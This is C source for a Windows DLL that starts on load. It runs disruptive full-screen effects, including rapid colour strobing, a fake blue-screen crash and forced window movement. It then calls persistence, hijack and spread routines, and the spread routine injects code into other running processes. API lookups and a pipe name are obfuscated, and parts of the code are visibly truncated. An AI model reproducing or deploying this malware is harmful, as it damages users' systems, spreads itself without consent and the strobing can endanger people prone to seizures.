#include #include #include #include typedef HDC (WINAPI *PFN_GetDC)(HWND); typedef HDC (WINAPI *PFN_GetDCEx)(HWND,HRGN,DWORD); typedef int (WINAPI *PFN_ReleaseDC)(HWND,HDC); typedef BOOL (WINAPI *PFN_PatBlt)(HDC,int,int,int,int,DWORD); typedef BOOL (WINAPI *PFN_BitBlt)(HDC,int,int,int,int,HDC,int,int,DWORD); typedef BOOL (WINAPI *PFN_StretchBlt)(HDC,int,int,int,int,HDC,int,int,int,int,DWORD); typedef HBRUSH (WINAPI *PFN_CreateSolidBrush)(COLORREF); typedef HFONT (WINAPI *PFN_CreateFontW)(int,int,int,int,int,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,LPCWSTR); typedef BOOL (WINAPI *PFN_TextOutW)(HDC,int,int,LPCWSTR,int); typedef HPEN (WINAPI *PFN_CreatePen)(int,int,COLORREF); typedef HGDIOBJ (WINAPI *PFN_SelectObject)(HDC,HGDIOBJ); typedef BOOL (WINAPI *PFN_DeleteObject)(HGDIOBJ); typedef int (WINAPI *PFN_SetBkMode)(HDC,int); typedef COLORREF (WINAPI *PFN_SetTextColor)(HDC,COLORREF); typedef COLORREF (WINAPI *PFN_SetBkColor)(HDC,COLORREF); typedef BOOL (WINAPI *PFN_MoveToEx)(HDC,int,int,LPPOINT); typedef BOOL (WINAPI *PFN_LineTo)(HDC,int,int); typedef BOOL (WINAPI *PFN_SetWindowPos)(HWND,HWND,int,int,int,int,UINT); typedef LONG (WINAPI *PFN_SetWindowLongW)(HWND,int,LONG); typedef LONG (WINAPI *PFN_GetWindowLongW)(HWND,int); typedef HWND (WINAPI *PFN_GetTopWindow)(HWND); typedef HWND (WINAPI *PFN_GetWindow)(HWND,UINT); typedef BOOL (WINAPI *PFN_GetWindowRect)(HWND,LPRECT); typedef BOOL (WINAPI *PFN_IsWindowVisible)(HWND); typedef int (WINAPI *PFN_GetSystemMetrics)(int); typedef BOOL (WINAPI *PFN_InvalidateRect)(HWND,CONST RECT*,BOOL); typedef HWND (WINAPI *PFN_GetDesktopWindow)(void); typedef HDC (WINAPI *PFN_CreateCompatibleDC)(HDC); typedef HBITMAP (WINAPI *PFN_CreateCompatibleBitmap)(HDC,int,int); typedef int (WINAPI *PFN_GetDIBits)(HDC,HBITMAP,UINT,UINT,void*,BITMAPINFO*,UINT); typedef int (WINAPI *PFN_StretchDIBits)(HDC,int,int,int,int,int,int,int,int,CONST void*,CONST BITMAPINFO*,UINT,DWORD); typedef BOOL (WINAPI *PFN_DeleteDC)(HDC); typedef SHORT (WINAPI *PFN_GetAsyncKeyState)(int); typedef BOOL (WINAPI *PFN_MoveWindow)(HWND,int,int,int,int,BOOL); static HMODULE g_u32=NULL, g_g32=NULL; #define APIU(name) ((PFN_##name)GetProcAddress(g_u32,#name)) #define APIG(name) ((PFN_##name)GetProcAddress(g_g32,#name)) static volatile LONG g_stop=0; #define SHOULD_STOP() (InterlockedCompareExchange(&g_stop,0,0)!=0) #define CHK_ESC() do { \ PFN_GetAsyncKeyState _f=(PFN_GetAsyncKeyState)GetProcAddress(g_u32,"GetAsyncKeyState"); \ if(_f&&(_f(VK_ESCAPE)&0x8000)) InterlockedExchange(&g_stop,1); \ } while(0) static int g_sw=1920, g_sh=1080; static volatile LONG g_rng=0x12345678; static unsigned int xrand(void){ LONG v=InterlockedCompareExchange(&g_rng,0,0); v^=v<<13; v^=v>>17; v^=v<<5; InterlockedExchange(&g_rng,v); return (unsigned int)v; } #define RNG(n) ((int)(xrand()%(unsigned)(n))) static void get_pipe_name(WCHAR *out){ const WCHAR pre[]=L"\\\\.\\pipe\\"; const BYTE enc[]={0x7c,0x62,0x7c,0x71,0x5f,0x71,0x60,0x7c,0x74,0x79}; wcscpy(out,pre); WCHAR *p=out+9; for(int i=0;i<10;i++) p[i]=(WCHAR)(enc[i]^0x11); p[10]=0; } static BYTE *alloc_buf(int w,int h){ return (BYTE*)VirtualAlloc(NULL,(SIZE_T)w*h*4,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); } static void make_bmi(BITMAPINFO *b,int w,int h){ ZeroMemory(b,sizeof(BITMAPINFO)); b->bmiHeader.biSize=sizeof(BITMAPINFOHEADER); b->bmiHeader.biWidth=w; b->bmiHeader.biHeight=-h; b->bmiHeader.biPlanes=1; b->bmiHeader.biBitCount=32; b->bmiHeader.biCompression=BI_RGB; } static BOOL cap(HDC sdc,BYTE *buf,int w,int h){ BITMAPINFO bmi; make_bmi(&bmi,w,h); HDC mdc=APIG(CreateCompatibleDC)(sdc); HBITMAP bm=APIG(CreateCompatibleBitmap)(sdc,w,h); APIG(SelectObject)(mdc,bm); APIG(BitBlt)(mdc,0,0,w,h,sdc,0,0,SRCCOPY); int ok=APIG(GetDIBits)(mdc,bm,0,(UINT)h,buf,&bmi,DIB_RGB_COLORS); APIG(DeleteDC)(mdc); APIG(DeleteObject)(bm); return ok>0; } static void blit(HDC sdc,const BYTE *buf,int w,int h){ BITMAPINFO bmi; make_bmi(&bmi,w,h); APIG(StretchDIBits)(sdc,0,0,w,h,0,0,w,h,buf,&bmi,DIB_RGB_COLORS,SRCCOPY); } static int get_wins(HWND *arr,int max){ int n=0; HWND hw=APIU(GetTopWindow)(NULL); while(hw&&n200)?2:0; off[x]+=spd[x]; if(off[x]>g_sh) off[x]=g_sh; int ch=g_sh-off[x]; if(ch>0){BITMAPINFO b2;make_bmi(&b2,g_sw,g_sh);APIG(StretchDIBits)(sdc,x,off[x],2,ch,x,0,2,ch,src,&b2,DIB_RGB_COLORS,SRCCOPY);} } Sleep(8); } e0: if(off)VirtualFree(off,0,MEM_RELEASE); if(spd)VirtualFree(spd,0,MEM_RELEASE); if(src)VirtualFree(src,0,MEM_RELEASE); APIU(ReleaseDC)(NULL,sdc); return 0; } static DWORD WINAPI fx_strobe(void *u){ HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0; COLORREF c[]={RGB(255,0,0),RGB(0,255,0),RGB(0,0,255),RGB(255,255,0),RGB(0,255,255),RGB(255,0,255),RGB(255,128,0),RGB(128,0,255),RGB(0,255,128),RGB(255,255,255),RGB(0,0,0),RGB(255,0,128)}; for(int t=0;t<800&&!SHOULD_STOP();t++){ CHK_ESC(); HBRUSH br=APIG(CreateSolidBrush)(c[t%12]); APIG(SelectObject)(sdc,br); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATCOPY); APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(br); Sleep(4); } APIU(ReleaseDC)(NULL,sdc); return 0; } static DWORD WINAPI fx_resize(void *u){ HWND wins[256]; int wc=get_wins(wins,256); for(int t=0;t<400&&!SHOULD_STOP();t++){ CHK_ESC(); for(int i=0;i=g_sw)rx=g_sw-1;if(ry<0)ry=0;if(ry>=g_sh)ry=g_sh-1; if(bx<0)bx=0;if(bx>=g_sw)bx=g_sw-1;if(by<0)by=0;if(by>=g_sh)by=g_sh-1; dst[y*s+x*4+2]=src[ry*s+rx*4+2]; dst[y*s+x*4+1]=src[y*s+x*4+1]; dst[y*s+x*4+0]=src[by*s+bx*4+0]; dst[y*s+x*4+3]=0; } blit(sdc,dst,g_sw,g_sh); Sleep(10); } e3: if(src)VirtualFree(src,0,MEM_RELEASE); if(dst)VirtualFree(dst,0,MEM_RELEASE); APIU(ReleaseDC)(NULL,sdc); return 0; } static DWORD WINAPI fx_memdump(void *u){ HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0; HBRUSH blk=APIG(CreateSolidBrush)(RGB(0,0,0)); APIG(SelectObject)(sdc,blk); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATCOPY); APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(blk); HFONT f=APIG(CreateFontW)(13,0,0,0,FW_NORMAL,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,NONANTIALIASED_QUALITY,FIXED_PITCH,L"Courier New"); APIG(SelectObject)(sdc,f); APIG(SetBkMode)(sdc,OPAQUE); APIG(SetBkColor)(sdc,RGB(0,0,0)); WCHAR ln[128]; unsigned int addr=0xFFFF8000; for(int row=0;row<200&&!SHOULD_STOP();row++){ CHK_ESC(); int y=(row%((g_sh-60)/14))*14; APIG(SetTextColor)(sdc,row%7==0?RGB(255,0,0):row%5==0?RGB(255,255,0):RGB(0,220,0)); wsprintfW(ln,L"%08X: %04X %04X %04X %04X %04X %04X %04X %04X",addr,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF); APIU(TextOutW)(sdc,0,y,ln,(int)wcslen(ln)); addr+=16; Sleep(8); } HBRUSH blue=APIG(CreateSolidBrush)(RGB(0,0,170)); APIG(SelectObject)(sdc,blue); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATCOPY); APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(blue); HFONT big=APIG(CreateFontW)(32,0,0,0,FW_BOLD,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,ANTIALIASED_QUALITY,DEFAULT_PITCH,L"Consolas"); APIG(SelectObject)(sdc,big); APIG(SetBkMode)(sdc,TRANSPARENT); APIG(SetTextColor)(sdc,RGB(255,255,255)); const WCHAR *bsod[]={L":( Your PC ran into a problem.",L"",L"MEMORY_MANAGEMENT (0x0000001A)",L"",L"MSRC_POC_UNPRIVILEGED_CHAOS"}; int ty=g_sh/6; for(int i=0;i<5;i++){APIU(TextOutW)(sdc,60,ty,bsod[i],(int)wcslen(bsod[i]));ty+=44;} HFONT med=APIG(CreateFontW)(24,0,0,0,FW_NORMAL,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,ANTIALIASED_QUALITY,DEFAULT_PITCH,L"Consolas"); APIG(SelectObject)(sdc,med); for(int pct=0;pct<=100&&!SHOULD_STOP();pct++){ CHK_ESC(); WCHAR prog[32]; wsprintfW(prog,L"% 3d%% complete",pct); HBRUSH eb=APIG(CreateSolidBrush)(RGB(0,0,170)); APIG(SelectObject)(sdc,eb); APIG(PatBlt)(sdc,60,g_sh*3/4,400,30,PATCOPY); APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(eb); APIU(TextOutW)(sdc,60,g_sh*3/4,prog,(int)wcslen(prog)); HBRUSH wb=APIG(CreateSolidBrush)(RGB(255,255,255)); APIG(SelectObject)(sdc,wb); APIG(PatBlt)(sdc,60,g_sh*3/4+36,(g_sw-120)*pct/100,8,PATCOPY); APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(wb); Sleep(60); } APIG(DeleteObject)(f); APIG(DeleteObject)(big); APIG(DeleteObject)(med); APIU(ReleaseDC)(NULL,sdc); return 0; } static DWORD WINAPI fx_scramble(void *u){ HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0; HDC mdc=APIG(CreateCompatibleDC)(sdc); HBITMAP bm=APIG(CreateCompatibleBitmap)(sdc,g_sw,g_sh); APIG(SelectObject)(mdc,bm); int TW=80,TH=60,cols=g_sw/TW,ntiles=cols*(g_sh/TH); int *idx=(int*)VirtualAlloc(NULL,ntiles*sizeof(int),MEM_COMMIT,PAGE_READWRITE); if(!idx) goto e5; for(int f=0;f<500&&!SHOULD_STOP();f++){ CHK_ESC(); APIG(BitBlt)(mdc,0,0,g_sw,g_sh,sdc,0,0,SRCCOPY); for(int i=0;i0;i--){int j=RNG(i+1);int t=idx[i];idx[i]=idx[j];idx[j]=t;} for(int i=0;ig_sw){b[i].x=g_sw-b[i].w;b[i].vx=-abs(b[i].vx);hit=TRUE;} if(b[i].y+b[i].h>g_sh){b[i].y=g_sh-b[i].h;b[i].vy=-abs(b[i].vy);hit=TRUE;} APIU(SetWindowPos)(wins[i],HWND_TOPMOST,b[i].x,b[i].y,0,0,SWP_NOSIZE|SWP_NOACTIVATE|SWP_ASYNCWINDOWPOS); if(hit&&sdc){ HBRUSH fb=APIG(CreateSolidBrush)(hues[RNG(6)]); APIG(SelectObject)(sdc,fb); APIG(PatBlt)(sdc,b[i].x,b[i].y,b[i].w,4,PATCOPY); APIG(PatBlt)(sdc,b[i].x,b[i].y,4,b[i].h,PATCOPY); APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(fb); } } Sleep(10); } VirtualFree(b,0,MEM_RELEASE); if(sdc)APIU(ReleaseDC)(NULL,sdc); return 0; } static DWORD WINAPI fx_shake(void *u){ HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0; BYTE *snap=alloc_buf(g_sw,g_sh); if(!snap){APIU(ReleaseDC)(NULL,sdc);return 0;} cap(sdc,snap,g_sw,g_sh); BITMAPINFO bmi; make_bmi(&bmi,g_sw,g_sh); for(int t=0;t<300&&!SHOULD_STOP();t++){ CHK_ESC(); int mag=10+t/3; if(mag>60)mag=60; APIG(StretchDIBits)(sdc,RNG(mag*2)-mag,RNG(mag*2)-mag,g_sw,g_sh,0,0,g_sw,g_sh,snap,&bmi,DIB_RGB_COLORS,SRCCOPY); HPEN rp=APIG(CreatePen)(PS_SOLID,2,RGB(220+RNG(35),0,0)); APIG(SelectObject)(sdc,rp); for(int k=0;k<6;k++){ int x0=RNG(g_sw),y0=RNG(g_sh); APIU(MoveToEx)(sdc,x0,y0,NULL); for(int s=0;s<10;s++){x0+=RNG(80)-40;y0+=RNG(100)-10;APIU(LineTo)(sdc,x0,y0);} } APIG(SelectObject)(sdc,GetStockObject(NULL_PEN)); APIG(DeleteObject)(rp); Sleep(12); } VirtualFree(snap,0,MEM_RELEASE); APIU(ReleaseDC)(NULL,sdc); return 0; } static DWORD WINAPI fx_matrix(void *u){ HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0; int cols=g_sw/14; int *drop=(int*)VirtualAlloc(NULL,cols*sizeof(int),MEM_COMMIT,PAGE_READWRITE); int *spd=(int*)VirtualAlloc(NULL,cols*sizeof(int),MEM_COMMIT,PAGE_READWRITE); if(!drop||!spd) goto e8; for(int i=0;ig_sh){drop[c]=-(RNG(40));spd[c]=1+RNG(3);} } Sleep(16); } APIG(DeleteObject)(font); e8: if(drop)VirtualFree(drop,0,MEM_RELEASE); if(spd)VirtualFree(spd,0,MEM_RELEASE); APIU(ReleaseDC)(NULL,sdc); return 0; } static void lbranch(HDC sdc,int x,int y,float ang,int len,int depth,COLORREF col){ if(depth<=0||len<6) return; float rad=ang*3.14159f/180.0f; int nx=x+(int)(cosf(rad)*len),ny=y+(int)(sinf(rad)*len); HPEN p=APIG(CreatePen)(PS_SOLID,depth,col); APIG(SelectObject)(sdc,p); APIU(MoveToEx)(sdc,x,y,NULL); APIU(LineTo)(sdc,nx,ny); APIG(SelectObject)(sdc,GetStockObject(NULL_PEN)); APIG(DeleteObject)(p); float sp=20.0f+(float)RNG(40); lbranch(sdc,nx,ny,ang+sp,(int)(len*0.65f),depth-1,col); lbranch(sdc,nx,ny,ang-sp,(int)(len*0.65f),depth-1,col); if(RNG(3)==0) lbranch(sdc,nx,ny,ang+(float)(RNG(60)-30),(int)(len*0.4f),depth-2,col); } static DWORD WINAPI fx_lightning(void *u){ HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0; COLORREF ac[]={RGB(0,200,255),RGB(255,0,200),RGB(200,255,0),RGB(255,150,0),RGB(0,255,200),RGB(255,255,255)}; for(int t=0;t<200&&!SHOULD_STOP();t++){ CHK_ESC(); HBRUSH db=APIG(CreateSolidBrush)(RGB(0,0,0)); APIG(SelectObject)(sdc,db); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATINVERT); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATINVERT); APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(db); for(int a=0;a<3+RNG(4);a++) lbranch(sdc,RNG(g_sw),RNG(g_sh/3),70.0f+(float)(RNG(40)-20),g_sh/2+RNG(g_sh/3),6,ac[RNG(6)]); Sleep(50); } APIU(ReleaseDC)(NULL,sdc); return 0; } static DWORD WINAPI fx_static(void *u){ HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0; int W=g_sw/2,H=g_sh/2,s=W*4; BYTE *buf=alloc_buf(W,H); if(!buf){APIU(ReleaseDC)(NULL,sdc);return 0;} BITMAPINFO bmi; make_bmi(&bmi,W,H); COLORREF bc[]={RGB(255,0,255),RGB(0,255,255),RGB(255,255,0),RGB(255,0,100),RGB(100,0,255),RGB(0,255,100)}; for(int f=0;f<500&&!SHOULD_STOP();f++){ CHK_ESC(); for(int i=0;i>8);buf[i*4+2]=(BYTE)(v>>16);} buf[i*4+3]=0; } for(int b=0;b<4+RNG(6);b++){ COLORREF col=bc[RNG(6)]; BYTE br=col&0xFF,bg=(col>>8)&0xFF,bb=(col>>16)&0xFF; int x0=RNG(W-10),y0=RNG(H-10),bw=10+RNG(W/3),bh=5+RNG(H/3); if(x0+bw>W)bw=W-x0; if(y0+bh>H)bh=H-y0; BYTE al=(BYTE)(100+RNG(155)); for(int y=y0;y>8); buf[idx+1]=(BYTE)(((int)buf[idx+1]*(256-al)+(int)bg*al)>>8); buf[idx+2]=(BYTE)(((int)buf[idx+2]*(256-al)+(int)bb*al)>>8); } } APIG(StretchDIBits)(sdc,0,0,g_sw,g_sh,0,0,W,H,buf,&bmi,DIB_RGB_COLORS,SRCCOPY); Sleep(8); } VirtualFree(buf,0,MEM_RELEASE); APIU(ReleaseDC)(NULL,sdc); return 0; } static DWORD WINAPI fx_wormhole(void *u){ HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0; HDC mdc=APIG(CreateCompatibleDC)(sdc); HBITMAP bm=APIG(CreateCompatibleBitmap)(sdc,g_sw,g_sh); APIG(SelectObject)(mdc,bm); COLORREF h[]={RGB(0,0,60),RGB(0,60,0),RGB(60,0,0),RGB(0,40,60),RGB(40,0,60)}; COLORREF fc[]={RGB(255,0,255),RGB(0,255,255),RGB(255,255,0)}; for(int f=0;f<500&&!SHOULD_STOP();f++){ CHK_ESC(); APIG(BitBlt)(mdc,0,0,g_sw,g_sh,sdc,0,0,SRCCOPY); HBRUSH tb=APIG(CreateSolidBrush)(h[(f/30)%5]); APIG(SelectObject)(mdc,tb); APIG(PatBlt)(mdc,0,0,g_sw,g_sh,PATINVERT); APIG(SelectObject)(mdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(tb); int bx=12+f%8,by=8+f%6; APIG(StretchBlt)(sdc,bx,by,g_sw-2*bx,g_sh-2*by,mdc,0,0,g_sw,g_sh,SRCCOPY); if(f%15==0){ HBRUSH fb=APIG(CreateSolidBrush)(fc[(f/15)%3]); APIG(SelectObject)(sdc,fb); APIG(PatBlt)(sdc,0,0,g_sw,by,PATCOPY); APIG(PatBlt)(sdc,0,g_sh-by,g_sw,by,PATCOPY); APIG(PatBlt)(sdc,0,0,bx,g_sh,PATCOPY); APIG(PatBlt)(sdc,g_sw-bx,0,bx,g_sh,PATCOPY); APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(fb); } Sleep(16); } APIG(DeleteDC)(mdc); APIG(DeleteObject)(bm); APIU(ReleaseDC)(NULL,sdc); return 0; } static DWORD WINAPI fx_invwave(void *u){ HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0; BYTE *buf=alloc_buf(g_sw,g_sh),*out=alloc_buf(g_sw,g_sh); if(!buf||!out) goto e12; cap(sdc,buf,g_sw,g_sh); int s=g_sw*4; for(int f=0;f<400&&!SHOULD_STOP();f++){ CHK_ESC(); float ph=f*0.05f,ws=(float)f/400.0f; for(int y=0;yg_sw)r=g_sw; APIG(SetTextColor)(sdc,cc[t%6]); const WCHAR *msg=m[t%10]; APIU(TextOutW)(sdc,g_sw/2+(int)(cosf(a)*r),g_sh/2+(int)(sinf(a)*r*0.55f),msg,(int)wcslen(msg)); Sleep(12); } APIG(DeleteObject)(font); APIU(ReleaseDC)(NULL,sdc); return 0; } static DWORD WINAPI fx_tornado(void *u){ HWND wins[256]; int wc=get_wins(wins,256); int cx=g_sw/2,cy=g_sh/2; for(int t=0;t<1800&&!SHOULD_STOP();t++){ CHK_ESC(); float sp=0.8f+(float)t*0.003f,a=(float)t*sp*3.14159f/180.0f,r=60.0f+((float)(t%360))*1.1f; for(int i=0;i8&&pe.th32ProcessID!=mypid) do_inject(pe.th32ProcessID,dst,ntcte,ll); } while(Process32NextW(snap,&pe)); CloseHandle(snap); } typedef DWORD (WINAPI *PFNFX)(void*); static DWORD WINAPI party_thread(void *u){ Sleep(3000); mark_self(); g_u32=LoadLibraryW(L"user32.dll"); g_g32=LoadLibraryW(L"gdi32.dll"); if(!g_u32||!g_g32) return 0; g_sw=APIU(GetSystemMetrics)(SM_CXSCREEN); g_sh=APIU(GetSystemMetrics)(SM_CYSCREEN); InterlockedExchange(&g_rng,(LONG)(GetCurrentProcessId()^GetTickCount())); PFNFX all[]={fx_meltdown,fx_strobe,fx_resize,fx_chromatic,fx_memdump,fx_scramble,fx_bounce,fx_shake,fx_matrix,fx_lightning,fx_static,fx_wormhole,fx_invwave,fx_pixelsort,fx_textcrawl,fx_tornado}; int base=(int)(GetCurrentProcessId()%16); PFNFX chosen[3]={all[base%16],all[(base+5)%16],all[(base+11)%16]}; HANDLE threads[3]; for(int i=0;i<3;i++) threads[i]=CreateThread(NULL,0,chosen[i],NULL,0,NULL); WaitForMultipleObjects(3,threads,TRUE,90000); for(int i=0;i<3;i++) if(threads[i]) CloseHandle(threads[i]); do_persist(); do_hijack(); do_spread(); WCHAR pname[64]; get_pipe_name(pname); DWORD pid=GetCurrentProcessId(); for(int i=0;i<8;i++){ HANDLE h=CreateFileW(pname,GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL); if(h!=INVALID_HANDLE_VALUE){DWORD w=0;WriteFile(h,&pid,4,&w,NULL);CloseHandle(h);break;} Sleep(200); } return 0; } BOOL WINAPI DllMain(HINSTANCE h,DWORD reason,void *r){ if(reason==DLL_PROCESS_ATTACH){ g_hmod=h; DisableThreadLibraryCalls(h); HANDLE ht=CreateThread(NULL,0,party_thread,NULL,0,NULL); if(ht) CloseHandle(ht); } return TRUE; }